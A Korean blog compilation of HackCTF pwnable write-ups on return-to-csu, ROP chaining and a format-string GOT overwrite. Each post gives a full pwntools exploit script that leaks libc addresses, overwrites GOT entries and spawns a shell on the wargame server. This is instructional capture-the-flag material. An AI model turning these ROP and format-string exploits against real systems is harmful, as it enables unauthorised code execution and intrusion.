[빨간 박스]

그리고 값이 담긴 레지스터들이 빨간 박스에서는

rdx, rsi, edi로 옮겨가고 함수를 콜합니다.

즉,

r13 값 -> rdx

r14 값 -> rsi

r15 값 -> edi

r12 + rbx*8 위치에 있는 주소를 참조해서 함수를 콜합니다.

 

함수 콜 이후에는 rbx에 0x1 값을 더하고,

rbx와 rbp 값을 비교해서 같으면 다시 파란박스로 점프합니다.

 

 

만약, 파란 박스에서 적절한 인자들을 레지스터 넣고 ret에서 빨간 박스 시작 주소를 넣어주면

원하는 함수를 실행시킬 수 있게 되는 겁니다.

 

더 자세한 설명은 다음 사이트에서 공부하실 수 있습니다.

https://www.lazenca.net/display/TEC/01.Return-to-csu+%28feat.JIT+ROP%29+-+x64

 

01.Return-to-csu (feat.JIT ROP) - x64 - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List return-to-csu (feat.JIT ROP) return-to-csu는 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기술 입니다.__libc_csu_init() 함수는 프로그램 실행시 _init()

www.lazenca.net


문제 풀이

자 그럼 이 개념을 활용해서 문제 풀이에 들어가 봅시다.

 

문제 페이지

접속 주소와 zip 파일이 주어집니다.

문제 이름을 통해서 RTC 기법을 사용해야 하는 것을 유추할 수 있습니다.

 

zip에는 libc.so.6 파일과 실행파일이 담겨있습니다.

보호 기법을 확인해보니

보호기법

역시나 NX가 걸려있습니다.

 

IDA Pro로 열어봅시다.

 

main 코드

main 코드는 상당히 간단합니다. write 함수로 문장을 출력하고 read 함수로 입력 받으면서 종료합니다.

이 때, buf의 사이즈 0x40 보다 0x200으로 더 많은 값을 받을 수 있어서 BOF가 발생합니다.

 

그래서, 일반적인 ROP를 우선적으로 시도해보려고 했습니다.

write, read를 위한 gadget을 찾아보았지만 적당한 것이 없습니다.

Gadget 찾기

 

역시 문제 이름처럼 RTC 기법을 사용해서 풀어야합니다.

RTC 기법을 사용한다고 해도 결국에는 system 함수에 인자로 /bin/sh를 넣어주는 것이기 때문에

페이로드 작성 방법은 ROP 문제와 비슷합니다.


페이로드 간략 구상

우선, write 함수를 통해서 read 함수의 주소를 알아내고,

read 함수의 주소와 offset을 이용해 libc_base와 system의 실주소를 알 수 있게됩니다.

 

이어서, bss 영역 주소에 read 함수를 통해서 /bin/sh 을 작성하고,

read 함수를 통해서 write_got를 system 주소로 덮어줍니다.

 

마지막으로 write 함수를 실행시키면서 인자로 binsh 주소를 줍니다.

 

이 방식 ROP와 매우 똑같습니다.

다만, 여기서 사용하는 gadget이 pop ret이 아닌 __libc_csu_init 함수의 일부 코드일 뿐입니다.


 

 

__libc_csu_init 함수의 어셈코드를 살펴봅시다.

(objdump -M intel -d ./rtc 명령어로 확인해볼 수 있습니다.)

 

 __libc_csu_init 함수 어셈 코드

gadget으로 쓰일 시작 부분은 0x4006ba0x4006a0 임을 알 수 있습니다.

 

더불어, bss 영역의 주소는 0x601050로 IDA에서 알 수 있습니다.

 

이를 기반으로 페이로드를 작성하면 다음과 같습니다.

from pwn import*
#context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3025)
e = ELF("./rtc")
libc = ELF("./libc.so.6")

write_got = e.got['write']
read_got = e.got['read']


read_offset = libc.symbols['read']
system_offset = libc.symbols['system']

libc_csu1 = 0x4006ba
libc_csu2 = 0x4006a0
binsh = 0x601050

# read 함수 실제 주소 leak --> 즉, system 함수 주소를 알기 위함
payload = "a"*64 + "b"*8
payload += p64(libc_csu1)
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(8)
payload += p64(read_got)
payload += p64(1)
payload += p64(libc_csu2)

# read 함수로 bss 영역에 8바이트 입력하게 하기 ---> 즉, 인자 "/bin/sh" 넣기 위함
payload += "a"*8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(binsh)
payload += p64(0)
payload += p64(libc_csu2)

# write_got system 함수 주소로 덮기
payload += "a"*8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_got)
payload += p64(0)
payload += p64(libc_csu2)

# write 함수 실행 인자로 binsh 넘기기 --> 즉, system 함수 실행을 의미함
payload += "a"*8
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(0)
payload += p64(0)
payload += p64(binsh)
payload += p64(libc_csu2)

p.recvline()
p.sendline(payload)
read_address = u64(p.recv(6).ljust(8, "\x00"))  # read 함수 주소 얻기
log.info('read_address: 0x%x' %read_address)

system_address = read_address - read_offset + system_offset  # system 함수 주소 계산
log.info('system_addres: 0x%x' %system_address)

p.sendline("/bin/sh")   # binsh에 "/bin/sh" 대입

p.sendline(p64(system_address))  # write_got system 주소로 overwrite

p.interactive()

페이로드 해설

페이로드는 길지만 이해하면 간단합니다.

libc_csu에서 레지스터 설정을 위해서 처음에 sfp까지 더미로 채우고

파란 박스0x4006ba로 이동합니다.

 

[레지스터 setting 단계]

파란 박스 0x4006ba로 이동합니다.

rbx는 0, rbp는 1을 넣고(chaining을 위함), 함수 got넣고,

인자 역순으로 세 개 넣습니다.

 

함수 실행 단계

빨간 박스0x4006a0로 이동합니다.

 

위의 기본적인 구조를 계속해서 반복하여 함수를 연속해서 4번 호출합니다.

 

해당 페이로드를 실행시키면 다음과 같이 플래그를 얻을 수 있습니다.

 

플래그 획득

 

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

ROP 문제입니다.

 

해당 문제는 문제 이름처럼 ROP 기법을 사용해야 풀 수 있습니다.

 

ROP 기법 설명과 이번 문제와 매우 유사한 문제 풀이 방식을 다음 사이트에서 공부하였습니다.

https://d4m0n.tistory.com/84

 

ROP (Return Oriented Programming)

ROP(Return Oriented Programming)란? ROP는 NX bit와 ASLR(Address Space Layout Randomize) 같은 메모리 보호 기법을 우회하기 위한 공격 기법으로, RTL(Return-to-libc), RTL Chaining, GOT Overwrite 기법을..

d4m0n.tistory.com


문제 풀이를 그럼 시작해봅시다~!!

ROP 문제

문제 이름이 ROP인 것을 통해서 ROP 기법에 관련된 문제인 것을 추측해볼 수 있다.

 

해당 zip 파일을 다운 받고, IDA Pro로 분석해보자.

 

main 코드

코드는 매우 간단했다. 취약한 함수를 실행시키고 hello world를 출력한다.

 

취약한 함수를 살펴보면,

vulnerable_function

buf의 사이즈는 0x88인데, 그것보다 더 큰 0x100까지 read함수를 통해 입력 받는다.

즉, BOF가 발생할 수 있다.

 

(RTL을 통해서 문제를 풀고 싶었지만, 문제 이름이 ROP인 것처럼 ASLR이 적용되어서 라이브러리 주소가 계속 바뀐다.)

 

코드에서 read와 write 함수만 사용하기 때문에 우리는 read와 write를 활용해서 system 함수를 실행시킬 수 있어야 한다.

 

일반적인 ROP처럼 bss영역에 "/bin/sh"를 작성하고,

system 함수를 실행시키면서 인자로 넘겨주어야 한다.

 

이를 가능하게 하려면 우선, 특정 함수의 실제 주소와 libc_base로부터 격차를 알아내고,

libc_base로부터 system 함수의 격차를 알아내어,

system 함수의 실제 주소를 알아내야 한다.

 

즉,

 

특정 함수의 실제 주소와 libc_base와의 격차, system 함수의 libc_base와의 격차를 통해

----> system 함수 실제 주소

를 얻고,

 

쓸만한 bss 영역 주소 값을 알아내서 "/bin/sh"를 입력하고,

 

system 함수를 "/bin/sh"를 인자로 실행시켜야 한다는 의미이다.

 

이때, read 함수특정 함수에 해당한다.

 

 

이제 어느정도 어떻게 해야할 지 윤곽이 잡혔을 것이다.

 

단계별로 생각해보면,

1단계: wirte 함수를 활용해서 read 함수의 주소를 얻기

 

2단계: read 함수를 사용해, bss 영역에 "/bin/sh" 입력

 

3단계: read함수의 주소와 격차, system 함수의 격차 값을 이용해 실제 system 함수 주소 얻기

 

4단계: read 함수를 사용해, write_got를 system 함수 주소로 덮기

 

5단계: write 함수(실제로는 system 함수가 실행됨)를 실행시키면서 인자로 "/bin/sh" 넘겨주기

 

 

 

우선, read함수와 write 함수를 연속해서 사용하므로 pop-pop-pop-ret gadget이 필요하다.

 

해당 gadget은 

ROPgadget --binary rop | grep 'ret'

 

리눅스 실행 환경에서 명령어를 통해서 얻을 수 있다.

ROPgadget --binary rop grep 'ret' 실행 결과

p3ret gadget 주소 = 0x08048509

 

그리고, "/bin/sh"를 저장할 적당한 공간이 필요한데,

readelf -S rop

명령어를 통해서 얻을 수 있다.

readelf -S rop 실행 결과

bss 영역 주소 = 0x0804a024

 

이를 바탕으로 페이로드를 작성하면 다음과 같다.

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3021)
e = ELF('./rop')
libc = ELF('./libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
read_offset = libc.symbols['read']
log.info('read1: 0x%x' %read_got)        # 확인차


write_plt = e.plt['write']
write_got = e.got['write']
write_offset = libc.symbols['write']

system_offset = libc.symbols['system']

p3ret = 0x08048509
bss = 0x0804a024

payload = "a"*140

payload += p32(write_plt)
payload += p32(p3ret)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)


payload += p32(read_plt)
payload += p32(p3ret)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

payload += p32(read_plt)
payload += p32(p3ret)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

payload += p32(write_plt)
payload += "a"*4
payload += p32(bss)

p.send(payload)

read_address = u32(p.recv(4))
log.info('read2: 0x%x' %read_address)         # 확인차

p.send("/bin/sh\x00")

system_address = read_address - read_offset + system_offset
log.info('system_address: 0x%x' %system_address)          #확인차
p.send(p32(system_address))                 


p.interactive()

페이로드 해설

우선, read, write의 plt, got 값을 알아내고, libc_base로부터의 각각의 offset도 알아낸다.

system 함수의 libc_base로부터의 offset도 알아낸다.

p3ret과 bss 주소도 변수에 대입한다.

 

read에서 BOF를 일으키기 위해서 140바이트를 더미로 채우고,

 

ret 부분에 write_plt 주소를 넣고 인자로 1, read_got, 4를 넣어 read함수 주소를 알아낸다.

 

이어서(chaining), read 함수를 실행시키는데 인자로 0, bss 주소, 8을 줘서 "/bin/sh"를 입력할 수 있게 한다.

 

이어서(chaining), read 함수를 또 실행시키는데 인자로 0, write_got, 4를 줘서 write_got 값에 system 함수 주소를 입력할 수 있게 하여, GotOverwrite를 일으킨다.

 

이어서(chaining), system함수 주소 값으로 got가 덮인 write함수를 실행시키고 인자로 bss("/bin/sh)를 줘서 권한을 획득한다.

 

system 함수 주소는 다음 과정을 거쳐 구한다.

 

libc_base = read 함수 주소 - libc_base로부터 격차 

system 주소 = libc_base + system함수의 libc_base로부터 격차

 

추가적으로 "/bin/sh\x00" 을 넣은 이유는 뒤에 이상한 값이 읽히는 것을 방지하기 위함이다.

 

 

 

해당 페이로드를 실행시킨 결과 다음과 같이 플래그 값을 얻을 수 있었다.

페이로드 실행 결과

이렇게 문제가 해결된다.

 


부가적으로 이 문제를 풀면서, Got EOF 때문에 오랫동안 삽질을 했는데

 

갓성염님의 도움으로 해결할 수 있었다.

(항상 도움 많이 받아서 너무 고맙습니다 :) )

저번 문제에서는 fgets에서 senline을 사용하지 않아서 발생한 문제였는데,

 

이번 문제에서는 sendline을 사용해서 EOF가 발생하였다. send로 고쳐주니 잘 실행되었다.

 

 

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

gift 문제입니다.

 

해당 문제는 ROP 기법을 사용해야 풀 수 있습니다.

 

지금까지 배웠던 기법 중에서는 어려운 편에 속하는 것 같습니다.

 

이번 글에서는 문제 풀이를 위주로 작성할 것이기 때문에 나중에 ROP 기법에 대해서 정리하도록 하겠습니다.

 

ROP 기법이 궁금하신 분은 다음 사이트를 참고해주시면 좋겠습니다.

https://d4m0n.tistory.com/84

 

ROP (Return Oriented Programming)

ROP(Return Oriented Programming)란? ROP는 NX bit와 ASLR(Address Space Layout Randomize) 같은 메모리 보호 기법을 우회하기 위한 공격 기법으로, RTL(Return-to-libc), RTL Chaining, GOT Overwrite 기법을..

d4m0n.tistory.com


문제

그림과 같이 gift라는 문제 이름과 접속 주소 그리고 실행 파일이 첨부되어 있다.

 

원격으로 접속해보면, 

원격 접속으로 실행시킨 결과

입력 받고, 입력받은 것을 출력하고, 다시 입력 받는데

실행할 때마다 주어지는 0x~~~값이 달라진다.

 

 

해당 파일을 다운 받아서 IDA Pro로 분석해보면 다음과 같다.

 

main 코드

main 코드 분석

binsh와 system의 주소 값을 출력해주고

 

fgets로 입력받고, 입력 받은 것을 출력하고, gets로 다시금 입력 받는다.

 

여기서 printf(%s)로 인해서 FSB가 발생할 수 있으며, get(%s)에서 BOF가 발생할 수 있다.

 

그런데,

 

실행할 때마다 주소 값이 달라지는 것을 통해 ASLR이 적용된 것을 알 수 있다.

 

다시 말해서 계속해서 주소 값이 바뀌기 때문에 FSB를 이용해 %c로 넘겨줄 수 없다.

 

더불어, binsh를 보면, binsh는 bss 영역으로 전역변수이다.

 

ASLR로 인해서 스택, 힙, 라이브러리 영역의 주소 값이 바뀌는데, bss는 속하지 않는다.

 

 

앞의 정보를 통해서 공략법을 생각해보면

binsh라는 주소 값과 system 함수의 주소 값을 알 수 있고, gets 함수가 한 번 사용되므로

(gets가 한 번 사용되므로 두 번째 사용 때 주소 값(gets_got)은 고정된다.)

 

ROP 기법을 활용해서 페이로드를 작성해볼 수 있다.

 

우선, binsh에는 system 함수의 인자인 "/bin/sh"가 들어 있어야 한다.

 

1. "/bin/sh"를 binsh에 넣기 위해서는 gets(%s)에서 BOF를 일으켜 gets를 한 번 더 실행시켜야 한다.

 

2. 그리고, 이어서 system 함수를 실행시키고 "/bin/sh"를 인자로 즉, binsh를 인자로 넘겨주면 권한을 획득할 수 있다.

 

즉, chaining을 적용해야 한다.

 

정리해보면, BOF를 일으켜 ret에 gets_plt 값을 넣어 gets를 실행하고 인자로 binsh를 넘겨서 "/bin/sh" 값을 넣을 수 있게 한다.

 

이어서, system 함수를 실행시켜 인자로 binsh("/bin/sh")를 넘겨주어 권한을 획득한다.

 

스택 구조

 

----------------------------------------------

s

(0x84)

----------------------------------------------

sfp

(0x04)

----------------------------------------------

ret

(0x04)

(gets_plt 들어갈 자리)

----------------------------------------------

pop_ret gadget 자리

(0x04)

chaining을 위해서 필요

----------------------------------------------

gets 인자 자리

(0x04)

(binsh 주소가 들어갈 자리)

----------------------------------------------

system 주소가 들어갈 자리

(0x04)

----------------------------------------------

system 실행 후 복귀할 자리

(0x04)

의미 없음 dummy로 채워짐

----------------------------------------------

system 함수 인자 "/bin/sh"

(0x04)

(binsh 주소가 들어갈 자리)

----------------------------------------------

 

 

이를 바탕으로 페이로드를 작성하면 다음과 같다.

 

from pwn import*
p = remote("ctf.j0n9hyun.xyz", 3018)

e = ELF("./gift")

gets_plt = e.plt['gets']

pop_ret = 0x080483ad


p.recvuntil("are: ")
binsh = int(p.recv(9), 16)
log.info('binsh : 0x%x' %binsh)  // 값이 잘 들어갔는지 확인차

p.recv(1)

system_address = int(p.recv(10), 16)
log.info('sys : 0x%x' %system_address) // 값이 잘 들어갔는지 확인차


p.sendline("abcd")


payload = "a"*136 + p32(gets_plt) + p32(pop_ret) + p32(binsh) + p32(system_address) + "aaaa" + p32(binsh)
p.send(payload)

p.send("/bin/sh")

p.interactive()

페이로드 해설

 

get_plt 값을 구하고,

 

pop ret gadget 주소는 

ROPgadget --binary (파일명) | grep '(찾을 가젯)'

명령어를 통해서 pop ~, ret 으로 찾은 주소인 0x080483ad을 사용했다.

 

binsh와 system 함수 주소를 받아서

gets(%s)에서 BOF를 일으켜 gets를 한 번 더 실행시켜 binsh를 "/bin/sh"로 채우고,

이어서 system 함수를 인자로 binsh("/bin/sh")실행시키는 코드를 작성했다.

 

다시 말해서 sfp까지 136바이트는 아무 값으로 채웠고,

get_plt + pop ret gadget + binsh

(gets 함수를 binsh를 인자로 호출해서 binsh에 값을 채워 넣기 위함)

 

system 함수 주소 + 더미 4바이트 + system 함수 인자 binsh("/bin/sh")

 

의 페이로드를 s에 입력해주고,

 

이로 인해서 실행된 gets의 binsh에 p.send("/bin/sh") 값을 넣어주었다.

 

 


 

 

페이로드를 실행시킨 결과 다음과 같은 과정으로 플래그를 얻었다.

 

 

페이로드 실행 결과

이렇게 문제가 해결된다~~!!!

 


추가적으로, 처음에 페이로드를 작성했는데 EOF가 계속 발생해서 애를 먹었는데 친구의 도움으로 해결했다.

 

여기서 문제였던 점은

 

fgets로 입력 받기 때문에 p.send("~")가 아닌 p.senline("~")을 해주어야 하는데, p.send를 사용했던 것이다.

 

앞으로 fgets인 경우, p.sendline을 사용하길 바랍니다.

 

 

728x90
728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

 

문제 이름은 Basic_FSB이다.

 

문제를 보면 다음과 같다.

 

Basic_FSB 문제

제목에서 FSB와 관련된 문제임을 알 수 있다.

 

해당 실행 파일을 다운 받아서 IDA Pro로 분석해보자.

 

코드 분석

 

main 코드

버퍼를 클리어하는 부분과 vul()함수를 실행하는 부분이 main 코드의 전부다.

 

vul 함수를 살펴보자.

 

vul 함수 코드

s에 1024바이트 만큼 입력을 받고

snprintf로 0x400 만큼 s의 값을 format에 출력한다. (옮긴다.)

 

여기서 snprintf는 sprintf, printf 와 마찬가지로 FSB가 발생할 수 있다.

 

더불어

flag 함수

system 함수를 실행시키는 flag 함수가 숨겨져 있는 것을 발견했다.

flag 함수 주소 = 0x80485B4

 

 

FSB가 발생할 수 있고, flag 함수의 존재를 알게 되었으니 어떻게 공략할지 감이 잡힌다.

 

페이로드 구상

s를 format에 snprintf를 이용해서 옮길 때, FSB를 발생시켜서

 

다음에 실행하는 printf 함수의 printf_got 값을 flag 함수 주소로 덮으면,

 

printf 함수 대신에 flag 함수가 실행될 것이다.

 

필요한 정보는 flag 함수 주소printf_got 주소 그리고 몇 번째 서식 문자에서 입력 값을 참조하는지 이다.

 

IDA Pro를 이용해서 flag 함수 주소와 printf_got 주소를 알아낼 수 있었고,

(flag: 0x80485B4, printf_got: 0x804A00C)

 

해당 프로그램을 실행시켜 aaaa.%x.%x.%x를 입력해 몇 번째에서 입력 값을 참조하는지 알 수 있었다.

 

2번째 서식 문자에서 aaaa를 참조하는 것을 알 수 있음.

2번째에서 참조함!

 

이 정보들을 기반으로 payload를 작성하면 다음과 같다.

 

payload 작성

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3002)

printf_got = 0x804A00C

payload = p32(printf_got + 2) + p32(printf_got) + "%2044c%2$hnn" + "%32176c%3$hnn"

p.sendline(payload)

p.interactive()

사이즈가 크면, 처리하는데 오래 걸릴 수 있으므로 2바이트로 나눠서 flag 주소를 전달하게끔 작성했다.

 

printf_got + 2에는 2바이트로 2052 즉, 0x0804를 전달하고

 

printf_got에는 34228 즉, 0x85B4를 전달했다.

 

flag 주소가 0x80485B4인데 거꾸로 전달한 이유는 리틀엔디안 방식이기 때문이다.

 

해당 payload를 실행시키면 다음과 같이 플래그 값을 얻을 수 있다.

 

페이로드 실행 결과

이렇게 문제는 해결된다~!!!

728x90